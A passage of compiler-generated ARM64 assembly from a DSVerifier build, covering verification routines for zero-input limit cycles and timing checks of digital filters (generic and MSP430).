sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1087
.L1088:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1089
str xzr, [sp, 1024]
.L1089:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 768]
ldr w0, [x29, 628]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 776]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 376]
ldr x4, [x29, 376]
orr x1, x1, x4
str x1, [x29, 376]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 368]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 360]
ldr x4, [x29, 360]
orr x1, x1, x4
str x1, [x29, 360]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 352]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1090:
cmp sp, x1
beq .L1091
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1090
.L1091:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1092
str xzr, [sp, 1024]
.L1092:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 784]
str wzr, [x29, 620]
b .L1093
.L1096:
bl nondet_int
sxtw x2, w0
ldr x0, [x29, 720]
ldrsw x1, [x29, 620]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 720]
ldrsw x1, [x29, 620]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 664]
cmp x1, x0
bgt .L1094
ldr x0, [x29, 720]
ldrsw x1, [x29, 620]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 672]
cmp x1, x0
blt .L1094
mov w0, 1
b .L1095
.L1094:
mov w0, 0
.L1095:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr x0, [x29, 720]
ldrsw x1, [x29, 620]
ldr x2, [x0, x1, lsl 3]
ldr x0, [x29, 768]
ldrsw x1, [x29, 620]
str x2, [x0, x1, lsl 3]
ldr w0, [x29, 620]
add w0, w0, 1
str w0, [x29, 620]
.L1093:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 620]
cmp w1, w0
blt .L1096
str wzr, [x29, 620]
b .L1097
.L1098:
ldr x0, [x29, 736]
ldrsw x1, [x29, 620]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 620]
add w0, w0, 1
str w0, [x29, 620]
.L1097:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [x29, 620]
cmp w1, w0
blt .L1098
str wzr, [x29, 620]
b .L1099
.L1100:
ldr x0, [x29, 704]
ldrsw x1, [x29, 620]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 736]
mov x0, x3
bl shiftL
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
ldr x3, [x29, 656]
ldr x2, [x29, 640]
ldr x1, [x29, 736]
ldr x0, [x29, 720]
bl fxp_direct_form_1
mov x2, x0
ldr x0, [x29, 688]
ldrsw x1, [x29, 620]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 688]
ldrsw x1, [x29, 620]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 720]
mov x0, x3
bl shiftL
ldr w0, [x29, 620]
add w0, w0, 1
str w0, [x29, 620]
.L1099:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 620]
cmp w1, w0
blt .L1100
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
mov w1, w0
ldr x0, [x29, 688]
bl fxp_check_persistent_limit_cycle
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 792]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1102
bl __stack_chk_fail
.L1102:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 816
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
add sp, sp, 816
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE134:
.size verify_zero_input_limit_cycle, .-verify_zero_input_limit_cycle
.global generic_timer
.bss
.align 2
.type generic_timer, %object
.size generic_timer, 4
generic_timer:
.zero 4
.section .rodata
.align 3
.LC49:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
.align 3
.LC50:
.string "spent_time <= ds.sample_time"
.text
.align 2
.global verify_generic_timing
.type verify_generic_timing, %function
verify_generic_timing:
.LFB135:
.cfi_startproc
stp x29, x30, [sp, -336]!
.cfi_def_cfa_offset 336
.cfi_offset 29, -336
.cfi_offset 30, -328
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -320
.cfi_offset 20, -312
.cfi_offset 21, -304
.cfi_offset 22, -296
.cfi_offset 23, -288
.cfi_offset 24, -280
.cfi_offset 25, -272
.cfi_offset 26, -264
.cfi_offset 27, -256
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 328]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 232]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1104:
cmp sp, x0
beq .L1105
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1104
.L1105:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1106
str xzr, [sp, 1024]
.L1106:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 240]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 248]
sxtw x0, w1
mov x16, x0
mov x17, 0
lsr x0, x16, 58
lsl x11, x17, 6
orr x11, x0, x11
lsl x10, x16, 6
sxtw x0, w1
mov x14, x0
mov x15, 0
lsr x0, x14, 58
lsl x13, x15, 6
orr x13, x0, x13
lsl x12, x14, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1107:
cmp sp, x1
beq .L1108
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1107
.L1108:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1109
str xzr, [sp, 1024]
.L1109:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 256]
str wzr, [x29, 224]
b .L1110
.L1115:
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
bl nondet_float
fcvt d0, s0
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
fcmpe d1, d0
bge .L1136
b .L1111
.L1136:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
fcmpe d1, d0
bls .L1137
b .L1111
.L1137:
mov w0, 1
b .L1114
.L1111:
mov w0, 0
.L1114:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1110:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1115
str wzr, [x29, 228]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 228]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 264]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 216]
ldr x4, [x29, 216]
orr x1, x1, x4
str x1, [x29, 216]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 208]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 200]
ldr x4, [x29, 200]
orr x1, x1, x4
str x1, [x29, 200]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 192]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1116:
cmp sp, x1
beq .L1117
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1116
.L1117:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1118
str xzr, [sp, 1024]
.L1118:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 272]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 280]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x27, x4, 6
orr x27, x1, x27
mov x1, x2
lsl x26, x1, 6
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x25, x4, 6
orr x25, x1, x25
mov x1, x2
lsl x24, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1119:
cmp sp, x1
beq .L1120
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1119
.L1120:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1121
str xzr, [sp, 1024]
.L1121:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 288]
ldr w0, [x29, 228]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 296]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x23, x4, 6
orr x23, x1, x23
mov x1, x2
lsl x22, x1, 6
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x21, x4, 6
orr x21, x1, x21
mov x1, x2
lsl x20, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1122:
cmp sp, x1
beq .L1123
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1122
.L1123:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1124
str xzr, [sp, 1024]
.L1124:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 304]
str wzr, [x29, 224]
b .L1125
.L1126:
ldr x0, [x29, 272]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1125:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1126
str wzr, [x29, 224]
b .L1127
.L1128:
ldr x0, [x29, 288]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1127:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1128
str wzr, [x29, 224]
b .L1129
.L1130:
ldr x0, [x29, 304]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1129:
ldr w1, [x29, 224]
ldr w0, [x29, 228]
cmp w1, w0
blt .L1130
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
scvtf d0, w0
str d0, [x29, 312]
str wzr, [x29, 224]
b .L1131
.L1133:
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 48]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 48]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 132]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 128]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d0, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w1, w0
ldr x0, [x29, 288]
bl generic_timing_shift_l_double
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
adrp x0, ds+808
add x3, x0, :lo12:ds+808
adrp x0, ds
add x2, x0, :lo12:ds
ldr x1, [x29, 288]
ldr x0, [x29, 272]
bl generic_timing_double_direct_form_1
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
ldr d0, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w1, w0
ldr x0, [x29, 272]
bl generic_timing_shift_l_double
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
scvtf d1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr d0, [x0, 16]
fmul d0, d1, d0
str d0, [x29, 320]
adrp x0, ds
add x0, x0, :lo12:ds
ldr d0, [x0, 1616]
ldr d1, [x29, 320]
fcmpe d1, d0
bls .L1132
adrp x0, __PRETTY_FUNCTION__.6
add x3, x0, :lo12:__PRETTY_FUNCTION__.6
mov w2, 89
adrp x0, .LC49
add x1, x0, :lo12:.LC49
adrp x0, .LC50
add x0, x0, :lo12:.LC50
bl __assert_fail
.L1132:
ldr d0, [x29, 312]
fcvtzs w1, d0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1131:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1133
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 328]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1135
bl __stack_chk_fail
.L1135:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 336
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE135:
.size verify_generic_timing, .-verify_generic_timing
.align 2
.global verify_timing_msp_430
.type verify_timing_msp_430, %function
verify_timing_msp_430:
.LFB136:
.cfi_startproc
stp x29, x30, [sp, -320]!
.cfi_def_cfa_offset 320
.cfi_offset 29, -320
.cfi_offset 30, -312
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -304
.cfi_offset 20, -296
.cfi_offset 21, -288
.cfi_offset 22, -280
.cfi_offset 23, -272
.cfi_offset 24, -264
.cfi_offset 25, -256
.cfi_offset 26, -248
.cfi_offset 27, -240
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 312]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 232]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1139:
cmp sp, x0
beq .L1140
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1139
.L1140:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1141
str xzr, [sp, 1024]
.L1141:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 240]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 248]
sxtw x0, w1
mov x16, x0
mov x17, 0
lsr x0, x16, 58
lsl x11, x17, 6
orr x11, x0, x11
lsl x10, x16, 6
sxtw x0, w1
mov x14, x0
mov x15, 0
lsr x0, x14, 58
lsl x13, x15, 6
orr x13, x0, x13
lsl x12, x14, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1142:
cmp sp, x1
beq .L1143
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1142
.L1143:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1144
str xzr, [sp, 1024]
.L1144:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 256]
str wzr, [x29, 224]
b .L1145
.L1150:
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
bl nondet_float
fcvt d0, s0
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
fcmpe d1, d0
bge .L1170
b .L1146
.L1170:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
fcmpe d1, d0
bls .L1171
b .L1146
.L1171:
mov w0, 1
b .L1149
.L1146:
mov w0, 0
.L1149:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1145:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1150
str wzr, [x29, 228]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 228]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 264]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 216]
ldr x4, [x29, 216]
orr x1, x1, x4
str x1, [x29, 216]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 208]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 200]
ldr x4, [x29, 200]
orr x1, x1, x4
str x1, [x29, 200]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 192]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1151:
cmp sp, x1
beq .L1152
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1151
.L1152:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1153
str xzr, [sp, 1024]
.L1153:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 272]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 280]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x27, x4, 6
orr x27, x1, x27
mov x1, x2
lsl x26, x1, 6
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x25, x4, 6
orr x25, x1, x25
mov x1, x2
lsl x24, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1154:
cmp sp, x1
beq .L1155
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1154
.L1155:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1156
str xzr, [sp, 1024]
.L1156:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 288]
ldr w0, [x29, 228]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 296]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x23, x4, 6
orr x23, x1, x23
mov x1, x2
lsl x22, x1, 6
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x21, x4, 6
orr x21, x1, x21
mov x1, x2
lsl x20, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1157:
cmp sp, x1
beq .L1158
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1157
.L1158:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1159
str xzr, [sp, 1024]
.L1159:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 304]
str wzr, [x29, 224]
b .L1160
.L1161:
ldr x0, [x29, 272]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1160:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1161
str wzr, [x29, 224]
b .L1162
.L1163:
ldr x0, [x29, 288]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1162:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1163
str wzr, [x29, 224]
b .L1164
.L1165:
ldr x0, [x29, 304]
ldrsw x1, [x29, 224]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1164:
ldr w1, [x29, 224]
ldr w0, [x29, 228]
cmp w1, w0
blt .L1165
str wzr, [x29, 224]
b .L1166
.L1167:
ldr x0, [x29, 256]
ldrsw x1, [x29, 224]
ldr d0, [x0, x1, lsl 3]
fcvtzs x3, d0
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 288]
mov x0, x3
bl shiftL
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
adrp x0, ds+808
add x3, x0, :lo12:ds+808
adrp x0, ds
add x2, x0, :lo12:ds
ldr x1, [x29, 288]
ldr x0, [x29, 272]
bl double_direct_form_1_MSP430
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 240]
ldrsw x1, [x29, 224]
ldr d0, [x0, x1, lsl 3]
fcvtzs x3, d0
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 272]
mov x0, x3
bl shiftL
ldr w0, [x29, 224]
add w0, w0, 1
str w0, [x29, 224]
.L1166:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 224]
cmp w1, w0
blt .L1167
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
